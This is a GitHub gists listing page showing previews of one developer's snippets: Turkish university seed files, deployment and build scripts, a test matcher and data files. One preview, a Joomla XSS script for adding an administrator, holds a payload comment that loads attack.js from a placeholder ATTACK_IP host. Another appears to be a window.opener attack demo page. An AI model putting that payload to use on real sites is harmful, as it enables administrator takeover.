Skip to content

Instantly share code, notes, and snippets.

View MuhammetDilmac's full-sized avatar
💻
Working from Home

Muhammet Dilmaç MuhammetDilmac

💻
Working from Home
View GitHub Profile
@MuhammetDilmac
MuhammetDilmac / turkey_univercity_seeds.rb
Created January 19, 2016 17:17
Türkiye Üniversiteler Seed
# Create univercities
Univercity.create!(:name => 'Abant İzzet Baysal Üniversitesi')
Univercity.create!(:name => 'Acıbadem Üniversitesi')
Univercity.create!(:name => 'Adıyaman Üniversitesi')
Univercity.create!(:name => 'Adnan Menderes Üniversitesi')
Univercity.create!(:name => 'Afyon Kocatepe Üniversitesi')
Univercity.create!(:name => 'Ağrı İbrahim Çeçen Üniversitesi')
Univercity.create!(:name => 'Ahi Evran Üniversitesi')
Univercity.create!(:name => 'Akaki Tsereteli Devlet Üniversitesi')
Univercity.create!(:name => 'Akdeniz Üniversitesi')
@MuhammetDilmac
MuhammetDilmac / turkey_univercity_department_seeds.rb
Created January 19, 2016 17:18
Türkiye Üniversite Bölümleri seed
Department.create!(:name => 'Diş Hekimliği')
Department.create!(:name => 'Bilgisayar ve Öğretim Teknolojileri Öğretmenliği')
Department.create!(:name => 'Fen Bilgisi Öğretmenliği')
Department.create!(:name => 'İlköğretim Matematik Öğretmenliği')
Department.create!(:name => 'İngilizce Öğretmenliği')
Department.create!(:name => 'Okul Öncesi Öğretmenliği')
Department.create!(:name => 'Rehberlik ve Psikolojik Danışmanlık')
Department.create!(:name => 'Sınıf Öğretmenliği')
Department.create!(:name => 'Sosyal Bilgiler Öğretmenliği')
Department.create!(:name => 'Türkçe Öğretmenliği')
@MuhammetDilmac
MuhammetDilmac / deploy_user.sh
Last active May 25, 2016 14:14
FFA Deployment Server Prepare Script
#!/usr/bin/env bash
# Information output
info(){
printf "\e[1;34m[*] %s\e[0m\n" "$1"
}
user_path=/home/deploy
info "Change work path to deploy"
cd
@MuhammetDilmac
MuhammetDilmac / joomla_admin_add.js
Created May 31, 2016 18:02
Joomla admin panel admin ekleme XSS scripti
/*
* Author: Gökmen Güreşçi & Muhammet Dilmaç
* Saldırı payloadı
* <script>var script = document.createElement('script');script.src = "http://ATTACK_IP/attack.js";document.getElementsByTagName('head')[0].appendChild(script);</script>
*/
var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = '';
var boundary = Math.random().toString().substr(2);
@MuhammetDilmac
MuhammetDilmac / attack.html
Created June 12, 2016 00:42
Window Opener
<html>
<head>
<meta charset="UTF-8" />
<title>Saldırgan Sayfa</title>
</head>
<body>
<p></p>
<script>
var tagP = document.getElementsByTagName('p')[0],
text = '';
@MuhammetDilmac
MuhammetDilmac / parser.py
Created January 11, 2017 12:30
Pisi pspec.xml dosyasından build dependency'leri çekip ekrana yazan python scripti
#!/usr/bin/env python3
import sys
import os
import xml.etree.ElementTree as ET
# Argüman kontrolü
if not len(sys.argv) == 2:
print("[!] Argüman sayısı uyumsuz. Uygulamaya argüman olarak dosya yolunu vermelisiniz.")
print("[+] Kullanımı: python3 %s pspec.xml" % sys.argv[0])
@MuhammetDilmac
MuhammetDilmac / pibuild.sh
Last active January 18, 2017 10:09
piBuild uygulaması bulunduğunuz dizindeki dosyalar ile docker uygulaması içinde pisi paketi oluşturan bir bash scriptidir.
#!/usr/bin/env bash
#
# Kurulum için;
# sudo wget https://gist.githubusercontent.com/MuhammetDilmac/9a00fdc3c6c2aea58b21cabb09671be4/raw/767277730be88febbcaeedd455835b92ea721ce1/pibuild.sh --no-check-certificate -O /usr/bin/pibuild && sudo chmod +x /usr/bin/pibuild
#
#
# Kullanım;
# Scripti kullanmak için pspec.xml, actions.py ve translations.xml dosyasının bulunduğu dizinde pibuild yazmanız yeterlidir.
# Oluşan çıktı dosyalarını pibuild dizini içinde bulabilirsiniz.
@MuhammetDilmac
MuhammetDilmac / have_http_header.rb
Created February 13, 2020 17:35
RSpec Have HTTP Header Matcher
# frozen_string_literal: true
require 'rspec/expectations'
# Example Usage; expect(response).to have_http_header('Auth-Token')
RSpec::Matchers.define :have_http_header do |expected_header|
match do |response|
response.headers.keys.include? expected_header
end
// Bu scripti klan'da diplomasi sayfasını açıp sağ tıklayıp incele de konsola gelerek yapıştırınız.
// Kodun çalıştırıldıktan sonra satır satır size gelen liste ile sizin diplomasiniz arasında ki farkı gösterecektir.
let expected = {"Müttefikler":["UDW2","UDW5","PRBT13","UDW13","UDW38","UDW3","UDW8","PRB-G1","UDW33","UDW9","UDW","PRBTA1","PRBTA4","PRBTA5","UDW41","PRB-O4","PRBTA8","UDW7","UDW16","UDW06","PRBTA2","UDW19","UDW11","KAN2","UDW37","PRBTXY","PRBTAİ","UDW42","UDW AT","UDW14","UDW27","UDW35","PRB-K7","UDW31","UDW23","KAN","PRBTA7","UDW32","UDW1","PRB-K4","PRB-O1","PRB-K6","PRBT S","PRBTA3","PRBT30","PRBT-K","UDW15","UDW39","Kasma","UDW24","UDW17","PRBT22","PRB.AK","PRB-K1","PRB-K2","UDW20","UDWSAW","K2N","C-19","UDWVAK","UDWSW7"],"Saldırmazlık anlaşması (SA)":["TUĞBEY","TGBY02","TGBY01","TGBY03","TGBY04","TGBY26","TUĞßEY","TGBY14","TGBY27","KRDŞ","TGBY07","TGBY10","ERRASK","TGBY09","TGBY20","TGBY22","TGBY05","TGBY16","Bey-A","TGBY08","TĞBY11","Bey20","TGBY21","TGBY35","TGBY06","TGBY23","TUĞB3Y","TGBY
@MuhammetDilmac
MuhammetDilmac / result.json
Created November 14, 2019 09:08
Türkiye Şehirler ve İlçeleri
[
{
"name": "Adana",
"districts": [
{
"name": "Aladağ"
},
{
"name": "Ceyhan"
},